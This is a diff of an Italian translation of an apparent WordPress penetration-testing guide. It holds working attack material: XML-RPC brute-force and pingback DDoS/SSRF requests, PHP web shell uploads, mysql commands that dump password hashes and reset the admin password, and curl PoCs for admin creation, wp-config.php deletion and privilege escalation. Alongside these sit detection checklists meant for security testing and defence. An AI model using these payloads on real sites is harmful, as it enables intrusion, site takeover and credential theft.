@ -132,7 +132,7 @@ Per vedere se è attivo prova ad accedere a _**/xmlrpc.php**_ e invia questa ric
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
La stringa _"Nome utente o password non corretti"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
|
||||
Il messaggio _"Incorrect username or password"_ all'interno di una risposta con codice 200 dovrebbe apparire se le credenziali non sono valide.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
@ -168,18 +168,18 @@ Usando le credenziali corrette puoi caricare un file. Nella risposta apparirà i
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Esiste anche un **modo più veloce** per brute-force credentials usando **`system.multicall`** poiché puoi provare più credenziali nella stessa richiesta:
|
||||
Esiste anche un **modo più veloce** per brute-force delle credenziali usando **`system.multicall`** poiché puoi provare diverse credenziali nella stessa richiesta:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Bypass 2FA**
|
||||
|
||||
Questo metodo è pensato per programmi e non per esseri umani, ed è obsoleto, quindi non supporta 2FA. Quindi, se hai creds validi ma l'ingresso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quelle creds bypassando 2FA**. Nota che non sarai in grado di eseguire tutte le azioni che puoi fare tramite la console, ma potresti comunque riuscire a ottenere RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Questo metodo è pensato per programmi e non per esseri umani, ed è vecchio, quindi non supporta 2FA. Quindi, se hai creds validi ma l'accesso principale è protetto da 2FA, **potresti essere in grado di abusare di xmlrpc.php per effettuare il login con quegli creds bypassando la 2FA**. Nota che non potrai eseguire tutte le azioni che puoi fare tramite il pannello, ma potresti comunque arrivare a RCE come spiega Ippsec in [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS or port scanning**
|
||||
|
||||
Se riesci a trovare il metodo _**pingback.ping**_ nella lista puoi far sì che Wordpress invii una richiesta arbitraria a qualsiasi host/porta.\
|
||||
Questo può essere usato per chiedere a **migliaia** di **siti** Wordpress di **accedere** a una singola **destinazione** (così viene causato un **DDoS** in quella destinazione) oppure puoi usarlo per far eseguire a **Wordpress** lo **scan** di una **internal network** (puoi indicare qualsiasi porta).
|
||||
Questo può essere usato per chiedere a **migliaia** di siti **Wordpress** di **accedere** a una **stessa destinazione** (causando così un **DDoS** in quella location) oppure puoi usarlo per far **scansionare** a **Wordpress** una rete interna (puoi indicare qualsiasi porta).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,7 +193,7 @@ Questo può essere usato per chiedere a **migliaia** di **siti** Wordpress di **
|
||||
|
||||
Se ottieni **faultCode** con un valore **maggiore** di **0** (17), significa che la porta è aperta.
|
||||
|
||||
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare DDoS.
|
||||
Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per imparare come abusare di questo metodo per causare un DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Dai un'occhiata all'uso di **`system.multicall`** nella sezione precedente per i
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Questo file di solito si trova nella root del sito Wordpress: **`/wp-cron.php`**\
|
||||
Quando questo file viene **acceduto** viene eseguita una **pesante** MySQL **query**, quindi potrebbe essere usato da **attaccanti** per **causare** un **DoS**.\
|
||||
Inoltre, di default, il `wp-cron.php` viene chiamato a ogni caricamento di pagina (ogni volta che un client richiede una pagina di Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||||
Questo file di solito esiste nella root del sito Wordpress: **`/wp-cron.php`**\
|
||||
Quando questo file viene **accessed** viene eseguita una **"heavy"** MySQL **query**, quindi può essere usato da **attackers** per **cause** un **DoS**.\
|
||||
Inoltre, di default, `wp-cron.php` viene chiamato ad ogni page load (ogni volta che un client richiede una pagina Wordpress), il che su siti ad alto traffico può causare problemi (DoS).
|
||||
|
||||
Si raccomanda di disabilitare Wp-Cron e creare un vero cronjob sull'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
|
||||
Si consiglia di disabilitare Wp-Cron e creare un vero cronjob all'interno dell'host che esegua le azioni necessarie a intervalli regolari (senza causare problemi).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il sito Wordpress potrebbe effettuare una richiesta verso di te.
|
||||
Prova ad accedere a _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ e il Worpress site potrebbe fare una richiesta verso di te.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
Questo strumento verifica se esistono **methodName: pingback.ping** e il path **/wp-json/oembed/1.0/proxy** e, se presenti, prova a sfruttarli.
|
||||
Questo strumento verifica se è presente la **methodName: pingback.ping** e il percorso **/wp-json/oembed/1.0/proxy** e, se esistono, prova a exploit-are them.
|
||||
|
||||
## Strumenti automatici
|
||||
```bash
|
||||
@ -240,22 +240,22 @@ wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detec
|
||||
```
|
||||
## Ottenere l'accesso sovrascrivendo un bit
|
||||
|
||||
Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva invertire 1 bit in qualsiasi file di wordpress. Quindi si poteva invertire il bit alla posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare l'operazione NOT (`!`) in NOP.
|
||||
Più che un vero attacco, è una curiosità. Nel CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) si poteva flipare 1 bit di qualsiasi file wordpress. Quindi si poteva flipare la posizione `5389` del file `/var/www/html/wp-includes/user.php` per trasformare in NOP l'operazione NOT (`!`).
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Pannello RCE**
|
||||
|
||||
**Modifica di un file php del tema in uso (credenziali admin necessarie)**
|
||||
**Modifica di un php del tema usato (credenziali admin necessarie)**
|
||||
|
||||
Aspetto → Theme Editor → 404 Template (a destra)
|
||||
Aspetto → Editor tema → Template 404 (a destra)
|
||||
|
||||
Cambia il contenuto con una php shell:
|
||||
Modifica il contenuto con una php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Cerca su internet come puoi accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Cerca su internet come accedere a quella pagina aggiornata. In questo caso devi accedere qui: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -265,12 +265,12 @@ use exploit/unix/webapp/wp_admin_shell_upload
|
||||
```
|
||||
per ottenere una sessione.
|
||||
|
||||
## Plugin RCE
|
||||
## RCE del plugin
|
||||
|
||||
### PHP plugin
|
||||
### plugin PHP
|
||||
|
||||
Potrebbe essere possibile caricare file .php come plugin.\
|
||||
Crea il tuo php backdoor usando per esempio:
|
||||
Potrebbe essere possibile caricare file .php come plugin.
|
||||
Crea il tuo php backdoor usando ad esempio:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -278,48 +278,48 @@ Poi aggiungi un nuovo plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Upload plugin and press Install Now:
|
||||
Carica il plugin e premi Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
Click on Procced:
|
||||
Clicca su Procced:
|
||||
|
||||
.png>)
|
||||
|
||||
Probabilmente apparentemente non succederà nulla, ma se vai in Media vedrai la tua shell caricata:
|
||||
Probabilmente apparentemente non farà nulla, ma se vai su Media vedrai la tua shell caricata:
|
||||
|
||||
.png>)
|
||||
|
||||
Accedi e vedrai l'URL per eseguire il reverse shell:
|
||||
Accedendovi vedrai l'URL per eseguire la reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e che può essere sfruttato per ottenere una web shell. Il processo viene effettuato tramite il WordPress dashboard come segue:
|
||||
Questo metodo prevede l'installazione di un plugin maligno noto per essere vulnerabile e sfruttabile per ottenere una web shell. Il processo viene eseguito tramite la dashboard di WordPress come segue:
|
||||
|
||||
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB, ad esempio [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
1. **Plugin Acquisition**: Il plugin viene ottenuto da una fonte come Exploit DB come [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Plugin Installation**:
|
||||
- Naviga nel WordPress dashboard, poi vai a `Dashboard > Plugins > Upload Plugin`.
|
||||
- Upload the zip file of the downloaded plugin.
|
||||
3. **Plugin Activation**: Una volta che il plugin è installato con successo, deve essere attivato tramite il dashboard.
|
||||
- Vai alla WordPress dashboard, poi vai a `Dashboard > Plugins > Upload Plugin`.
|
||||
- Carica il file zip del plugin scaricato.
|
||||
3. **Plugin Activation**: Una volta installato con successo, deve essere attivato tramite la dashboard.
|
||||
4. **Exploitation**:
|
||||
- Con il plugin "reflex-gallery" installato e attivato, può essere sfruttato poiché è noto per essere vulnerabile.
|
||||
- Il framework Metasploit fornisce un exploit per questa vulnerabilità. Caricando il modulo appropriato ed eseguendo comandi specifici, è possibile stabilire una sessione meterpreter, ottenendo accesso non autorizzato al sito.
|
||||
- Si nota che questo è solo uno dei molti metodi per sfruttare un sito WordPress.
|
||||
|
||||
Il contenuto include supporti visivi che mostrano i passaggi nel WordPress dashboard per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza la corretta autorizzazione. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come penetration testing con esplicita autorizzazione.
|
||||
Il contenuto include elementi visivi che mostrano i passaggi nella dashboard di WordPress per installare e attivare il plugin. Tuttavia, è importante notare che sfruttare vulnerabilità in questo modo è illegale e non etico senza un'autorizzazione adeguata. Queste informazioni devono essere usate responsabilmente e solo in un contesto legale, come il penetration testing con permesso esplicito.
|
||||
|
||||
**For more detailed steps check:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
**Per passaggi più dettagliati consulta:** [**https://www.hackingarticles.in/wordpress-reverse-shell/**](https://www.hackingarticles.in/wordpress-reverse-shell/)
|
||||
|
||||
## Da XSS a RCE
|
||||
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per elevare una vulnerabilità **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni controlla [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **support for Wordpress Versions 6.X.X, 5.X.X and 4.X.X. and allows to:**
|
||||
- [**WPXStrike**](https://github.com/nowak0x01/WPXStrike): _**WPXStrike**_ è uno script progettato per scalare una vulnerabilità di **Cross-Site Scripting (XSS)** a **Remote Code Execution (RCE)** o altre vulnerabilità critiche in WordPress. Per maggiori informazioni vedi [**this post**](https://nowak0x01.github.io/papers/76bc0832a8f682a7e0ed921627f85d1d.html). Fornisce **supporto per Wordpress Versions 6.X.X, 5.X.X and 4.X.X. e consente di:**
|
||||
- _**Privilege Escalation:**_ Crea un utente in WordPress.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo custom plugin (backdoor) su WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifica un Built-In Plugin in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifica un Built-In Theme in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per Third-Party WordPress Plugins/Themes.
|
||||
- _**(RCE) Custom Plugin (backdoor) Upload:**_ Carica il tuo plugin personalizzato (backdoor) su WordPress.
|
||||
- _**(RCE) Built-In Plugin Edit:**_ Modifica plugin built-in in WordPress.
|
||||
- _**(RCE) Built-In Theme Edit:**_ Modifica temi built-in in WordPress.
|
||||
- _**(Custom) Custom Exploits:**_ Exploit personalizzati per plugin/temi di terze parti di WordPress.
|
||||
|
||||
## Post Exploitation
|
||||
|
||||
@ -327,7 +327,7 @@ Estrai username e password:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;select concat_ws(':', user_login, user_pass) from wp_users;"
|
||||
```
|
||||
Cambia la password dell'admin:
|
||||
Cambia la password dell'amministratore:
|
||||
```bash
|
||||
mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE wp_users SET user_pass=MD5('hacked') WHERE ID = 1;"
|
||||
```
|
||||
@ -335,25 +335,25 @@ mysql -u <USERNAME> --password=<PASSWORD> -h localhost -e "use wordpress;UPDATE
|
||||
|
||||
### Superficie d'attacco
|
||||
|
||||
Sapere come un plugin Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti elencati di seguito e alcuni esempi di plugin vulnerabili in [**questo post del blog**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
Sapere come un plugin di Wordpress può esporre funzionalità è fondamentale per trovare vulnerabilità nella sua funzionalità. Puoi vedere come un plugin potrebbe esporre funzionalità nei punti seguenti e alcuni esempi di plugin vulnerabili in [**this blog post**](https://nowotarski.info/wordpress-nonce-authorization/).
|
||||
|
||||
- **`wp_ajax`**
|
||||
|
||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite handler AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
|
||||
Uno dei modi in cui un plugin può esporre funzioni agli utenti è tramite gestori AJAX. Questi possono contenere bug di logica, autorizzazione o autenticazione. Inoltre, è abbastanza frequente che queste funzioni basino sia l'autenticazione sia l'autorizzazione sull'esistenza di un Wordpress nonce che **qualsiasi utente autenticato nell'istanza Wordpress potrebbe avere** (indipendentemente dal suo ruolo).
|
||||
|
||||
Queste sono le funzioni che possono essere usate per esporre una funzione in un plugin:
|
||||
```php
|
||||
add_action( 'wp_ajax_action_name', array(&$this, 'function_name'));
|
||||
add_action( 'wp_ajax_nopriv_action_name', array(&$this, 'function_name'));
|
||||
```
|
||||
**L'uso di `nopriv` rende l'endpoint accessibile da qualsiasi utente (anche non autenticati).**
|
||||
**L'uso di `nopriv` rende l'endpoint accessibile a qualsiasi utente (anche non autenticato).**
|
||||
|
||||
> [!CAUTION]
|
||||
> Inoltre, se la funzione sta solo verificando l'autorizzazione dell'utente con la funzione `wp_verify_nonce`, questa funzione verifica solo che l'utente sia autenticato, di solito non controlla il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni con privilegi elevati.
|
||||
> Inoltre, se la funzione verifica soltanto l'autorizzazione dell'utente tramite la funzione `wp_verify_nonce`, questa funzione controlla solo che l'utente sia autenticato; di solito non verifica il ruolo dell'utente. Quindi utenti con privilegi bassi potrebbero avere accesso ad azioni riservate a utenti con privilegi elevati.
|
||||
|
||||
- **REST API**
|
||||
|
||||
È anche possibile esporre funzioni da wordpress registrando una REST API usando la funzione `register_rest_route`:
|
||||
È anche possibile esporre funzioni di WordPress registrando una REST API usando la funzione `register_rest_route`:
|
||||
```php
|
||||
register_rest_route(
|
||||
$this->namespace, '/get/', array(
|
||||
@ -363,21 +363,21 @@ $this->namespace, '/get/', array(
|
||||
)
|
||||
);
|
||||
```
|
||||
La `permission_callback` è una funzione di callback che verifica se un dato utente è autorizzato a chiamare il metodo API.
|
||||
Il `permission_callback` è una callback a una funzione che verifica se un determinato utente è autorizzato a chiamare il metodo API.
|
||||
|
||||
**Se viene usata la funzione integrata `__return_true`, salterà semplicemente il controllo dei permessi utente.**
|
||||
**Se viene usata la funzione integrata `__return_true`, salterà semplicemente il controllo delle autorizzazioni utente.**
|
||||
|
||||
- **Accesso diretto al file php**
|
||||
|
||||
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, se un plugin espone una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
|
||||
Ovviamente, Wordpress usa PHP e i file all'interno dei plugin sono direttamente accessibili dal web. Quindi, nel caso in cui un plugin esponga una funzionalità vulnerabile che viene attivata semplicemente accedendo al file, sarà sfruttabile da qualsiasi utente.
|
||||
|
||||
### Trusted-header REST impersonation (WooCommerce Payments ≤ 5.6.1)
|
||||
|
||||
Alcuni plugin implementano scorciatoie “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente a monte, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore.
|
||||
Alcuni plugin implementano scorciatoie di “trusted header” per integrazioni interne o reverse proxy e poi usano quell'header per impostare il contesto dell'utente corrente per le richieste REST. Se l'header non è vincolato crittograficamente alla richiesta da un componente upstream, un attaccante può falsificarlo e colpire route REST privilegiate come amministratore.
|
||||
|
||||
- Impatto: unauthenticated privilege escalation to admin by creating a new administrator via the core users REST route.
|
||||
- Header di esempio: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
|
||||
- Route sfruttata: `POST /wp-json/wp/v2/users` con un array di ruolo elevato.
|
||||
- Impact: elevazione di privilegi non autenticata a amministratore creando un nuovo account amministratore tramite la core users REST route.
|
||||
- Example header: `X-Wcpay-Platform-Checkout-User: 1` (forza l'ID utente 1, tipicamente il primo account amministratore).
|
||||
- Exploited route: `POST /wp-json/wp/v2/users` con un array ruolo elevato.
|
||||
|
||||
PoC
|
||||
```http
|
||||
@ -391,31 +391,31 @@ Content-Length: 114
|
||||
|
||||
{"username": "honeypot", "email": "wafdemo@patch.stack", "password": "demo", "roles": ["administrator"]}
|
||||
```
|
||||
Perché funziona
|
||||
Why it works
|
||||
|
||||
- Il plugin mappa un header controllato dal client allo stato di autenticazione e salta i controlli di capability.
|
||||
- Il core di WordPress si aspetta la capability `create_users` per questa route; l'hack del plugin la bypassa impostando direttamente il contesto dell'utente corrente dall'header.
|
||||
- Il plugin mappa un header controllato dal client allo stato di autenticazione e bypassa i controlli di capability.
|
||||
- WordPress core si aspetta la capability `create_users` per questa route; il plugin la bypassa impostando direttamente il contesto dell'utente corrente a partire dall'header.
|
||||
|
||||
Indicatori di successo attesi
|
||||
Expected success indicators
|
||||
|
||||
- HTTP 201 con un body JSON che descrive l'utente creato.
|
||||
- Un nuovo utente admin visibile in `wp-admin/users.php`.
|
||||
|
||||
Checklist di rilevamento
|
||||
Detection checklist
|
||||
|
||||
- Cerca con grep `getallheaders()`, `$_SERVER['HTTP_...']`, o vendor SDKs che leggono header personalizzati per impostare il contesto utente (es. `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revisiona le registrazioni REST per callback privilegiate che non hanno controlli robusti di `permission_callback` e invece si affidano agli header della richiesta.
|
||||
- Cerca utilizzi delle funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono protetti solo da valori di header.
|
||||
- Grep for `getallheaders()`, `$_SERVER['HTTP_...']`, or vendor SDKs that read custom headers to set user context (e.g., `wp_set_current_user()`, `wp_set_auth_cookie()`).
|
||||
- Revisiona le registrazioni REST per callback privilegiate che non hanno solidi controlli `permission_callback` e che invece si basano sugli header della richiesta.
|
||||
- Cerca l'uso di funzioni core di gestione utenti (`wp_insert_user`, `wp_create_user`) all'interno di handler REST che sono vincolati solo dai valori degli header.
|
||||
|
||||
### Cancellazione arbitraria di file non autenticata via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
### Unauthenticated Arbitrary File Deletion via wp_ajax_nopriv (Litho Theme <= 3.0)
|
||||
|
||||
WordPress themes e plugin frequentemente espongono handler AJAX tramite gli hook `wp_ajax_` e `wp_ajax_nopriv_`. Quando la variante **_nopriv_** è usata **il callback diventa raggiungibile da visitatori non autenticati**, quindi qualsiasi azione sensibile deve implementare inoltre:
|
||||
WordPress themes and plugins frequently expose AJAX handlers through the `wp_ajax_` and `wp_ajax_nopriv_` hooks. When the **_nopriv_** variant is used **the callback becomes reachable by unauthenticated visitors**, so any sensitive action must additionally implement:
|
||||
|
||||
1. Un **controllo di capability** (es. `current_user_can()` o almeno `is_user_logged_in()`), e
|
||||
2. Un **CSRF nonce** validato con `check_ajax_referer()` / `wp_verify_nonce()`, e
|
||||
3. **Stretta sanitizzazione / validazione degli input**.
|
||||
1. A **capability check** (e.g. `current_user_can()` or at least `is_user_logged_in()`), and
|
||||
2. A **CSRF nonce** validated with `check_ajax_referer()` / `wp_verify_nonce()`, and
|
||||
3. **Strict input sanitisation / validation**.
|
||||
|
||||
Il tema multipurpose Litho (< 3.1) si è dimenticato di questi 3 controlli nella feature *Remove Font Family* e ha finito per includere il seguente codice (semplificato):
|
||||
Il tema multipurpose Litho (< 3.1) ha dimenticato questi 3 controlli nella funzionalità *Remove Font Family* e ha finito per distribuire il seguente codice (semplificato):
|
||||
```php
|
||||
function litho_remove_font_family_action_data() {
|
||||
if ( empty( $_POST['fontfamily'] ) ) {
|
||||
@ -434,37 +434,37 @@ die();
|
||||
add_action( 'wp_ajax_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
add_action( 'wp_ajax_nopriv_litho_remove_font_family_action_data', 'litho_remove_font_family_action_data' );
|
||||
```
|
||||
Problemi introdotti da questo snippet:
|
||||
Issues introduced by this snippet:
|
||||
|
||||
* **Accesso non autenticato** – l'hook `wp_ajax_nopriv_` è registrato.
|
||||
* **Nessun controllo nonce / capability** – qualsiasi visitatore può raggiungere l'endpoint.
|
||||
* **Nessuna sanitizzazione del percorso** – la stringa controllata dall'utente `fontfamily` viene concatenata a un percorso del filesystem senza filtraggio, permettendo il classico traversal `../../`.
|
||||
* **Accesso non autenticato** – the `wp_ajax_nopriv_` hook is registered.
|
||||
* **Nessun nonce / capability check** – qualsiasi visitatore può raggiungere l'endpoint.
|
||||
* **Nessuna sanificazione del percorso** – la stringa controllata dall'utente `fontfamily` viene concatenata a un percorso del filesystem senza filtraggio, consentendo il classico traversal `../../`.
|
||||
|
||||
#### Sfruttamento
|
||||
|
||||
Un attaccante può eliminare qualsiasi file o directory **al di sotto della directory base degli uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola HTTP POST request:
|
||||
Un attaccante può eliminare qualsiasi file o directory **al di sotto della directory base uploads** (normalmente `<wp-root>/wp-content/uploads/`) inviando una singola richiesta HTTP POST:
|
||||
```bash
|
||||
curl -X POST https://victim.com/wp-admin/admin-ajax.php \
|
||||
-d 'action=litho_remove_font_family_action_data' \
|
||||
-d 'fontfamily=../../../../wp-config.php'
|
||||
```
|
||||
Poiché `wp-config.php` si trova al di fuori di *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Eliminando `wp-config.php` WordPress viene forzato nella *procedura guidata d'installazione* al prossimo accesso, permettendo un takeover completo del sito (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).
|
||||
Poiché `wp-config.php` risiede al di fuori della cartella *uploads*, quattro sequenze `../` sono sufficienti in un'installazione predefinita. Cancellare `wp-config.php` forza WordPress nella *procedura di installazione* alla visita successiva, abilitando un full site take-over (l'attaccante fornisce semplicemente una nuova configurazione DB e crea un utente admin).
|
||||
|
||||
Altri target impattanti includono file `.php` di plugin/theme (per compromettere plugin di sicurezza) o regole `.htaccess`.
|
||||
Altri target rilevanti includono i file `.php` di plugin/tema (per compromettere plugin di sicurezza) o le regole `.htaccess`.
|
||||
|
||||
#### Checklist di rilevamento
|
||||
#### Detection checklist
|
||||
|
||||
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiama helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, etc.).
|
||||
* Concatenazione di input utente non sanitizzato nei path (cerca `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Qualsiasi callback `add_action( 'wp_ajax_nopriv_...')` che chiami helper del filesystem (`copy()`, `unlink()`, `$wp_filesystem->delete()`, ecc.).
|
||||
* Concatenazione di input utente non sanitizzato nei percorsi (cerca `$_POST`, `$_GET`, `$_REQUEST`).
|
||||
* Assenza di `check_ajax_referer()` e `current_user_can()`/`is_user_logged_in()`.
|
||||
|
||||
---
|
||||
|
||||
### Escalation di privilegi tramite ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")
|
||||
### Privilege escalation via ripristino di ruoli obsoleti e autorizzazione mancante (ASE "View Admin as Role")
|
||||
|
||||
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il(i) ruolo(i) originale(i) in user meta in modo da poterli ripristinare successivamente. Se il percorso di ripristino si basa solo su parametri di richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo si trasforma in una escalation di privilegi verticale.
|
||||
Molti plugin implementano una funzionalità "view as role" o di cambio temporaneo di ruolo salvando il/i ruolo/i originale/i nei user meta in modo che possano essere ripristinati successivamente. Se il percorso di ripristino si basa soltanto su parametri della richiesta (es., `$_REQUEST['reset-for']`) e su una lista mantenuta dal plugin senza verificare le capabilities e un nonce valido, questo diventa una vertical privilege escalation.
|
||||
|
||||
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se il nome utente compariva in un array interno `$options['viewing_admin_as_role_are']`, ma non effettuava né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati da user meta `_asenha_view_admin_as_original_roles`:
|
||||
Un esempio reale è stato trovato nel plugin Admin and Site Enhancements (ASE) (≤ 7.6.2.1). Il ramo di reset ripristinava i ruoli basandosi su `reset-for=<username>` se lo username appariva in un array interno `$options['viewing_admin_as_role_are']`, ma non eseguiva né un controllo `current_user_can()` né una verifica del nonce prima di rimuovere i ruoli correnti e riaggiungere i ruoli salvati nei user meta `_asenha_view_admin_as_original_roles`:
|
||||
```php
|
||||
// Simplified vulnerable pattern
|
||||
if ( isset( $_REQUEST['reset-for'] ) ) {
|
||||
@ -481,9 +481,9 @@ foreach ( $orig as $r ) { $u->add_role( $r ); }
|
||||
```
|
||||
Perché è sfruttabile
|
||||
|
||||
- Si affida a `$_REQUEST['reset-for']` e a un'opzione del plugin senza autorizzazione lato server.
|
||||
- Se un utente aveva precedentemente privilegi più elevati salvati in `_asenha_view_admin_as_original_roles` e poi è stato declassato, può ripristinarli richiamando il percorso di reset.
|
||||
- In alcune installazioni, qualsiasi utente autenticato potrebbe innescare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (autorizzazione difettosa).
|
||||
- Si fida di `$_REQUEST['reset-for']` e di un'opzione del plugin senza autorizzazione lato server.
|
||||
- Se un utente in precedenza aveva privilegi maggiori salvati in `_asenha_view_admin_as_original_roles` e è stato degradato, può ripristinarli raggiungendo il percorso di reset.
|
||||
- In alcune installazioni, qualsiasi utente autenticato potrebbe avviare un reset per un altro username ancora presente in `viewing_admin_as_role_are` (controllo di autorizzazione difettoso).
|
||||
|
||||
Sfruttamento (esempio)
|
||||
```bash
|
||||
@ -493,23 +493,23 @@ Sfruttamento (esempio)
|
||||
curl -s -k -b 'wordpress_logged_in=...' \
|
||||
'https://victim.example/wp-admin/?reset-for=<your_username>'
|
||||
```
|
||||
Sulle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), escalando effettivamente i privilegi.
|
||||
Nelle build vulnerabili questo rimuove i ruoli correnti e riaggiunge i ruoli originali salvati (es., `administrator`), elevando di fatto i privilegi.
|
||||
|
||||
Detection checklist
|
||||
|
||||
- Cerca funzionalità di role-switching che persistono “original roles” in user meta (es., `_asenha_view_admin_as_original_roles`).
|
||||
- Individua percorsi di reset/restore che:
|
||||
- Read usernames from `$_REQUEST` / `$_GET` / `$_POST`.
|
||||
- Modify roles via `add_role()` / `remove_role()` without `current_user_can()` and `wp_verify_nonce()` / `check_admin_referer()`.
|
||||
- Authorize based on a plugin option array (es., `viewing_admin_as_role_are`) instead of the actor’s capabilities.
|
||||
- Cerca feature di role-switching che persistono i “ruoli originali” nei user meta (es., `_asenha_view_admin_as_original_roles`).
|
||||
- Identifica reset/restore paths che:
